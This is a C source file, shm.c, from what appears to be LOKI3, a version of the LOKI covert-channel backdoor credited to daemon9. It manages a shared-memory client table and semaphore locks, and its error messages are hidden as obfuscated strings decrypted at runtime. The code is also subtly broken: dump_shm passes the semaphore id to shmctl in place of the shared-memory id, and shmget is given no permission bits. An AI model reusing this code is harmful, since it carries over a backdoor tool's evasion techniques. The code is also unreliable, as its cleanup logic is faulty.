/* * LOKI3 * * [ shm.c ] * * 1996/7 Guild Corporation Worldwide [daemon9] */ #include "loki.h" #include "client_db.h" #include "shm.h" extern struct loki rdg; extern int verbose; extern int destroy_shm; struct client_list *client = 0; int semid; /* * Obfuscated strings */ extern estring S_MSG_SHM_DETACH_ERROR; extern estring S_MSG_CANNOT_DESTROY_SHMID; extern estring S_MSG_CANNOT_DESTROY_SEMAPHORE; extern estring S_MSG_SHM_SEGMENT_ERROR; extern estring S_MSG_SEMAPHORE_ALLOCATION_ERROR; extern estring S_MSG_CANNOT_LOCK_MEMORY; extern estring S_MSG_CANNOT_UNLOCK_MEMORY; /* * Prepare shared memory and semaphoreg */ void prep_shm() { key_t shmkey = SHM_KEY + getpid(); /* shared memory key ID */ key_t semkey = SEM_KEY + getpid(); /* semaphore key ID */ int shmid, len = sizeof(struct client_list) * MAX_CLIENT; /* Request a shared memory segment */ if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0) { err_exit(1, 1, verbose, decrypt(S_MSG_SHM_SEGMENT_ERROR)); } /* Get SET_SIZE semaphore to perform shared memory locking with */ if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0) { err_exit(1, 1, verbose, decrypt(S_MSG_SEMAPHORE_ALLOCATION_ERROR)); } /* Attach pointer to the shared memory segment */ client = (struct client_list *) shmat(shmid, NULL, 0); /* clear the database */ for (int i = 0; i < MAX_CLIENT; i++) { bzero(&client[i], sizeof(client[i])); } } /* * Locks the semaphore so the caller can access the shared memory segment. * This is an atomic operation. */ void locks() { struct sembuf lock[2] = { {0, 0, 0}, {0, 1, SEM_UNDO} }; if (semop(semid, &lock[0], 2) < 0) { err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_LOCK_MEMORY)); } } /* * Unlocks the semaphore so the caller can access the shared memory segment. * This is an atomic operation. */ void ulocks() { struct sembuf ulock[1] = { { 0, -1, (IPC_NOWAIT | SEM_UNDO) } }; if (semop(semid, &ulock[0], 1) < 0) { err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_UNLOCK_MEMORY)); } } /* * Release the shared memory segment. */ void dump_shm() { locks(); if ((shmdt((uint8_t *)client)) == -1) { err_exit(1, 1, verbose, decrypt(S_MSG_SHM_DETACH_ERROR)); } if (destroy_shm == OK) { if ((shmctl(semid, IPC_RMID, NULL)) == -1) { err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DESTROY_SHMID)); } if ((semctl(semid, IPC_RMID, 0, NULL)) == -1) { err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DESTROY_SEMAPHORE)); } } ulocks(); } /* EOF */